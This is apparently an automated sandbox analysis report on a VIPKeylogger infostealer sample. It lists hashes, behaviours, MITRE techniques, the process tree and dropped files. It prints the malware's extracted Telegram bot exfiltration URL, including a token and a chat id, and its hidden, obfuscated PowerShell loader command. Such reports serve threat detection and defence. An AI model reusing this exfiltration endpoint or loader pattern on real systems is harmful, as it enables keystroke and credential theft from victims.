vipkeylogger | cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-12-2024 06:36

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General

Target

cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe
Size

558KB
MD5

a30468384472782c5b2fc6a439f641bb
SHA1

2695582dda03035b463e939b1a2577505e9a2766
SHA256

cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f
SHA512

c2cee48e6c124cbcd2a09e0d0381f38d2602522a5b57577b039aaeb43e4611313c1865c00a98cabacd1edca8b43bbcbad0f6fbb8594c0c36bf4438c57708eaa4
SSDEEP

12288:g93jlsINtJD2SoxlyLpJdNLNrDv7ucLrv70:g93jlsyUSQ8LpJdNLNrjNPvY

Score

10^/10

vipkeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot7557203423:AAGe1HpB3h500YMl-g1jm79Gu1CeWQ1Wrtg/sendMessage?chat_id=5434550993

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4908	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2272	cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe

Blocklisted process makes network request 6 IoCs

flow	pid	Process
31	1584	msiexec.exe
34	1584	msiexec.exe
37	1584	msiexec.exe
39	1584	msiexec.exe
46	1584	msiexec.exe
49	1584	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	drive.google.com
31	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1584	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4908	powershell.exe
1584	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\udlndingelovene\troldunge.ini	cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4584	1584	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
1584	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4908	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeIncreaseQuotaPrivilege	4908	powershell.exe
Token: SeSecurityPrivilege	4908	powershell.exe
Token: SeTakeOwnershipPrivilege	4908	powershell.exe
Token: SeLoadDriverPrivilege	4908	powershell.exe
Token: SeSystemProfilePrivilege	4908	powershell.exe
Token: SeSystemtimePrivilege	4908	powershell.exe
Token: SeProfSingleProcessPrivilege	4908	powershell.exe
Token: SeIncBasePriorityPrivilege	4908	powershell.exe
Token: SeCreatePagefilePrivilege	4908	powershell.exe
Token: SeBackupPrivilege	4908	powershell.exe
Token: SeRestorePrivilege	4908	powershell.exe
Token: SeShutdownPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeSystemEnvironmentPrivilege	4908	powershell.exe
Token: SeRemoteShutdownPrivilege	4908	powershell.exe
Token: SeUndockPrivilege	4908	powershell.exe
Token: SeManageVolumePrivilege	4908	powershell.exe
Token: 33	4908	powershell.exe
Token: 34	4908	powershell.exe
Token: 35	4908	powershell.exe
Token: 36	4908	powershell.exe
Token: SeDebugPrivilege	1584	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 4908	2272	cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe	82
PID 2272 wrote to memory of 4908	2272	cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe	82
PID 2272 wrote to memory of 4908	2272	cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe	82
PID 4908 wrote to memory of 1584	4908	powershell.exe	91
PID 4908 wrote to memory of 1584	4908	powershell.exe	91
PID 4908 wrote to memory of 1584	4908	powershell.exe	91
PID 4908 wrote to memory of 1584	4908	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe
"C:\Users\Admin\AppData\Local\Temp\cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Eurylaimoid=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Southernise233.Bul';$Mistillidens63=$Eurylaimoid.SubString(10394,3);.$Mistillidens63($Eurylaimoid) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 2380
      4⤵
      Program crash
      PID:4584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1584 -ip 1584
1⤵
PID:392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\justifikationssager.lnk

Filesize
760B

MD5
d9e8e0464dc55bf5f1211889719af5e2

SHA1
74822aae7ad9a83be53c405a23351bbe1a78cf90

SHA256
e4af4340f4a7d89e44997bcd44f69621b211e9d31430bdc5d1909d7ad5bca419

SHA512
8e4fc2255f8f0b9f5ca4f9f2d6fee5016425cf644029f4060526e7e14ab4a481fdc5393390e49e535456df9bd89b4eb28d88f64641dde7ba3494f5010d62917b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_obpcadij.i51.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp9F9D.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Marsken.Ank

Filesize
325KB

MD5
f53eeac9a2c8712c7783bdf13e401b2b

SHA1
cfed633d70a8a260a8003f2164b4d1789d6be308

SHA256
7af7afd5dafd279406fa57f31e56f4d92721423733a2fb32c0434b09bbce127c

SHA512
50f9b78fa28a1d83cbaac44cdbc6110218b814faf91a1539ac1888e2167f7d66be5dd005d8d3eb8ded0dd34cbc7a03e062d62d01f151ddb9bfbda5bb40b6c70b

Download Submit
C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Southernise233.Bul

Filesize
68KB

MD5
1f45559fcfff86c51f4abda260d0b9b3

SHA1
f8bb784bb245d615b755cd5d7b6344e3a6d9fad2

SHA256
5e33b1687632ded7ba4a2e2c16e088f28faaa7308ffd5c4d8b022dfb049e91d2

SHA512
d6fb73428e776c7094a1a217c7859ad43d276067b1fbf3ea5870fe20bffbeca1ad134a0d73a8c853db17f33d3000bb759316ed93e8910b86e53b7ec0e6162eae

Download Submit
memory/1584-112-0x0000000000C50000-0x0000000001EA4000-memory.dmp

Filesize
18.3MB

Download
memory/1584-113-0x0000000000C50000-0x0000000001EA4000-memory.dmp

Filesize
18.3MB

Download
memory/1584-115-0x0000000024DF0000-0x0000000024E8C000-memory.dmp

Filesize
624KB

Download
memory/1584-114-0x0000000000C50000-0x0000000000C9A000-memory.dmp

Filesize
296KB

Download
memory/4908-74-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-77-0x0000000007240000-0x000000000724A000-memory.dmp

Filesize
40KB

Download
memory/4908-39-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-40-0x0000000004CA0000-0x0000000004CC2000-memory.dmp

Filesize
136KB

Download
memory/4908-41-0x0000000005580000-0x00000000055E6000-memory.dmp

Filesize
408KB

Download
memory/4908-42-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/4908-52-0x00000000056D0000-0x0000000005A24000-memory.dmp

Filesize
3.3MB

Download
memory/4908-53-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

Filesize
120KB

Download
memory/4908-54-0x0000000005D10000-0x0000000005D5C000-memory.dmp

Filesize
304KB

Download
memory/4908-55-0x0000000006E80000-0x0000000006F16000-memory.dmp

Filesize
600KB

Download
memory/4908-56-0x00000000061D0000-0x00000000061EA000-memory.dmp

Filesize
104KB

Download
memory/4908-57-0x0000000006220000-0x0000000006242000-memory.dmp

Filesize
136KB

Download
memory/4908-58-0x0000000007520000-0x0000000007AC4000-memory.dmp

Filesize
5.6MB

Download
memory/4908-60-0x0000000008150000-0x00000000087CA000-memory.dmp

Filesize
6.5MB

Download
memory/4908-63-0x0000000070C70000-0x0000000070CBC000-memory.dmp

Filesize
304KB

Download
memory/4908-62-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-61-0x00000000070D0000-0x0000000007102000-memory.dmp

Filesize
200KB

Download
memory/4908-37-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-73-0x0000000007110000-0x000000000712E000-memory.dmp

Filesize
120KB

Download
memory/4908-75-0x0000000007140000-0x00000000071E3000-memory.dmp

Filesize
652KB

Download
memory/4908-76-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-38-0x0000000004E50000-0x0000000005478000-memory.dmp

Filesize
6.2MB

Download
memory/4908-78-0x00000000073A0000-0x00000000073B1000-memory.dmp

Filesize
68KB

Download
memory/4908-79-0x00000000073F0000-0x00000000073FE000-memory.dmp

Filesize
56KB

Download
memory/4908-80-0x0000000007400000-0x0000000007414000-memory.dmp

Filesize
80KB

Download
memory/4908-81-0x0000000007440000-0x000000000745A000-memory.dmp

Filesize
104KB

Download
memory/4908-82-0x0000000007430000-0x0000000007438000-memory.dmp

Filesize
32KB

Download
memory/4908-83-0x0000000007490000-0x00000000074BA000-memory.dmp

Filesize
168KB

Download
memory/4908-84-0x00000000074C0000-0x00000000074E4000-memory.dmp

Filesize
144KB

Download
memory/4908-85-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-86-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-89-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-90-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-88-0x0000000074E5E000-0x0000000074E5F000-memory.dmp

Filesize
4KB

Download
memory/4908-91-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-92-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-93-0x00000000087D0000-0x000000000DDFD000-memory.dmp

Filesize
86.2MB

Download
memory/4908-94-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-95-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-96-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-36-0x0000000004670000-0x00000000046A6000-memory.dmp

Filesize
216KB

Download
memory/4908-35-0x0000000074E5E000-0x0000000074E5F000-memory.dmp

Filesize
4KB

Download
memory/4908-97-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download
memory/4908-99-0x0000000074E50000-0x0000000075600000-memory.dmp

Filesize
7.7MB

Download